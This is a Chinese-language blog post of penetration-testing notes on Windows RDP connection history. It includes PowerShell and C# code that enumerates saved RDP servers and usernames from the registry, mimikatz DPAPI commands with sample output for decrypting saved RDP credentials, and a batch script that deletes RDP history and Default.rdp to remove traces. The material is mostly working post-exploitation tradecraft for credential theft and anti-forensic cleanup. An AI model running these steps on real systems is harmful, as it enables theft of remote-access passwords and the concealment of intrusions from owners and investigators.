【渗透技巧】关于 windows的 RDP连接记录

关于 windows的 RDP连接历史记录处理,此处仅作为笔记记录,并非原创。

0x00 前言

每次成功连接到远程主机时,RDP 客户端都会保存远程主机的名称(或IP地址)以及用于登陆的用户名。再次启动mstsc.exe时,可以直接从列表中选择远程RDP服务器的名称,并且客户端已自动填写用于登陆的用户名。

从安全角度来讲,这是极不安全的。

0x01 获取RDP连接历史记录

PS:代理连接并不存在任何的 RDP 外连记录。

至于获得历史记录的思路及细节实现思路,请转至三好学生师傅的博客,此处仅作为记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<#
.SYNOPSIS
This script will list the logged-in users' RDP Connections History.
Author: 3gstudent@3gstudent
License: BSD 3-Clause
#>
$AllUser = Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
Write-Host "User:"$User.Name
Write-Host "SID:"$User.SID
Write-Host "Status:"$User.Status
Try
{
$QueryPath = dir $RegPath -Name -ErrorAction Stop
}
Catch
{
Write-Host "No RDP Connections History"
Write-Host "----------------------------------"
continue
}
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
Write-Host "User:"$User
Write-Host "Server:"$Name
}
Catch
{
Write-Host "No RDP Connections History"
}
}
Write-Host "----------------------------------"
}

根据三好学生师傅的 PowerShell 改写了 C# 版本,虽然代码不怎么好看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
using System;
using Microsoft.Win32;

namespace SavedRDPConnections
{
class Program
{

public static string GetRegValue(string hive, string path, string value)
{
string regKeyValue = "";
if (hive == "HKCU")
{
var regKey = Registry.CurrentUser.OpenSubKey(path);
if (regKey != null)
{
regKeyValue = String.Format("{0}", regKey.GetValue(value));
}
return regKeyValue;
}
else if (hive == "HKU")
{
var regKey = Registry.Users.OpenSubKey(path);
if (regKey != null)
{
regKeyValue = String.Format("{0}", regKey.GetValue(value));
}
return regKeyValue;
}
else
{
var regKey = Registry.LocalMachine.OpenSubKey(path);
if (regKey != null)
{
regKeyValue = String.Format("{0}", regKey.GetValue(value));
}
return regKeyValue;
}
}

public static string[] GetRegSubkeys(string hive, string path)
{
try
{
Microsoft.Win32.RegistryKey myKey = null;
if (hive == "HKLM")
{
myKey = Registry.LocalMachine.OpenSubKey(path);
}
else if (hive == "HKU")
{
myKey = Registry.Users.OpenSubKey(path);
}
else
{
myKey = Registry.CurrentUser.OpenSubKey(path);
}
String[] subkeyNames = myKey.GetSubKeyNames();
return myKey.GetSubKeyNames();
}
catch
{
return new string[0];
}
}

public static void ListSavedRDPConnections()
{
string[] SIDs = Registry.Users.GetSubKeyNames();
foreach (string SID in SIDs)
{
if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes"))
{
string[] subkeys = GetRegSubkeys("HKU", String.Format("{0}\\Software\\Microsoft\\Terminal Server Client\\Servers", SID));
if (subkeys != null)
{
Console.WriteLine("\r\n\r\n=== Saved RDP Connection Information ({0}) ===", SID);
foreach (string host in subkeys)
{
string username = GetRegValue("HKCU", String.Format("Software\\Microsoft\\Terminal Server Client\\Servers\\{0}", host), "UsernameHint");
Console.WriteLine("\r\n Server : {0}", host);
if (username != "")
{
Console.WriteLine(" User : {0}", username);
}
}
}
}
}
}

static void Main(string[] args)
{
ListSavedRDPConnections();
}

}
}

0x02 破解RDP连接凭证

破解RDP连接凭证的前提是用户在连接远程主机时勾选了保存保存凭证。

1、查找本地的Credentials

1
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

2、使用mimikatz进行操作

1
mimikatz dpapi::cred /in:C:\Users\allen\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6

得到的内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mimikatz # dpapi::cred /in:C:\Users\allen\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {ffc994a1-de8d-4304-9416-31e587f7a8ca}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000030 - 48
szDescription : Local Credential Data

algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : 00fed8ca7ec6d44585dd1fbd8b57e77b6ab0cf318ec5d52d09fd0694ffb89ccb
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : b49ef55f909fa503eda37ddc797c83c99df983920bfb4628e07aac5cb32bb530
dwDataLen : 000000b0 - 176
pbData : 4083f8f501b999a35c4aa57ce732bf52d30a6e604dac5a91b6fd3e65660c52a536025c5126f0d12b85044498deef08a8688b3459f49514ed6ae46271a1cb4cd0e70845d9b6beccbcbe85dead0fb7c80b4f7810add87b75c48592fcbfbbfd94fa4eee8004f8cf6d9619ef4b9af643f4c9ef0e8a2a5b0cd00530a5638cfd114fee4b735ac12eef2c7e6a0364845eb0ee4b3ab121e33324f8d5af48f3422bd47a76ab5e9e9e5a1a383e22fff8bf851b6a2a
dwSignLen : 00000040 - 64
pbSign : 7c8dbe7991c6af4d3bfc9f808790a0904738d0ca227bc2ee20ee26cbf06487dd2679e932b27ea0c0cbbe590ee6430641605d7001b2158c8873c5d6a09a9855a8

接下来需要使用的就是guidMasterKeypbData数据。pbData是凭据的加密数据,guidMasterKey是凭据的GUID

3、使用sekurlsa::dpapi

根据目标凭据GUID: {ffc994a1-de8d-4304-9416-31e587f7a8ca}找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。

4、解密

命令为:

1
dpapi::cred /in:C:\Users\allen\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6 /masterkey:e01320a53bf9d57da1163c7723a5b3901df5a3fc8e504fc021def2637d19d34c0084a3ac2a0daab3fb9af3f98c48a9a901627dc4b10db087cb357e1d2f8aa18c

0x03 清除RDP连接历史记录

清除就相对简单一些。

1
HKCU:\Software\Microsoft\Terminal Server Client\

针对上述的DefaultServer,对其表项进行删除

tips:由于在删除Server表项的时候无法一次选择所有表项,因为可以直接删除整个Server再新建。

除了删除注册表之外,要需要删除默认的RDP连接文件

1
2
3
4
5
6
7
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f # 删除Default中的所有值
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f # 删除整个Servers
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" 重新创建删除的注册表项
cd %userprofile%\documents\ # 转到Default.rdp文件目录
attrib Default.rdp -s -h # 更改Default.rdp文件属性,默认情况下它是隐藏
del Default.rdp # 删除文件Default.rdp文件

注意:在某些情况(比如系统盘空间不足)下,Document文件夹会从%userprofile%\documents\移动,所以特殊情况下,需要手动查找Default.rdp

0x04 关于 连入 记录

上面几点都是根据本地主机连接远程主机的相关记录操作。第四点则是记录关于远程主机的操作。

1
2


0x05参考

获得Windows系统的远程桌面连接历史记录

mimikatz获取本地Credentials

破解远程终端凭据,获取服务器密码

How to Clear RDP Connections History in Windows

RcoIl Alipay
!坚持技术分享,您的支持将鼓励我继续创作!